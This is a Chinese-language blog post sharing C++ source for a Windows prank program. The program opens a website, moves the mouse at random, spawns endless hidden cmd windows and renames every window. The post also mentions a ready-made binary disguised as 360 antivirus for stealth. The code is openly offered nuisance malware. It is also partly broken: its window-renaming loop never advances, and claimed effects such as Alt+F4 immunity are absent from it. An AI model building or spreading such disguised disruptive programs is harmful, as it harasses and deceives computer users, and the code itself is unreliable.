本文耗时四个月创作出来,制作不易,给个赞吧qwq
效果
鼠标乱移、无限弹窗(保证电脑不会卡死)、隐藏原窗口、免疫Alt+F4、打开噪音窗口……
鉴于根本没有可截图空间,就不展示了。
代码
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <vector>
#include <ctime>
#include <string>
#include <tlhelp32.h>
#include <psapi.h>
#include <shellapi.h>
int windowCount = 0;
std::vector<HWND> windows;
void CloseWindows(int count) {
for (int i = 0; i < count && !windows.empty(); ++i) {
PostMessage(windows.back(), WM_CLOSE, 0, 0);
windows.pop_back();
windowCount--;
}
}
void MoveMouseRandomly() {
int x = rand() % GetSystemMetrics(SM_CXSCREEN);
int y = rand() % GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(x, y);
}
void RenameAllWindows() {
HWND hwnd = nullptr;
while ((hwnd = FindWindowW(nullptr, nullptr)) != nullptr) {
SetWindowTextW(hwnd, L"唔唔阿义");
}
}
int main() {
srand(time(0));
ShellExecuteW(nullptr, L"open", L"https://haiyong.site/tools/yanhua/", nullptr, nullptr, SW_SHOW);
Sleep(3000);
RenameAllWindows();
while (true) {
ShellExecuteW(nullptr, L"open", L"cmd.exe", L"/c start", nullptr, SW_HIDE);
windowCount++;
windows.push_back(FindWindowW(L"ConsoleWindowClass", nullptr));
MoveMouseRandomly();
if (windowCount >= 90) {
CloseWindows(80);
}
Sleep(100);
}
return 0;
}
如果担心运行会爆炸,这里有成品

作者将其伪装为360杀毒,隐蔽性proMAX

1532

被折叠的 条评论
为什么被折叠?



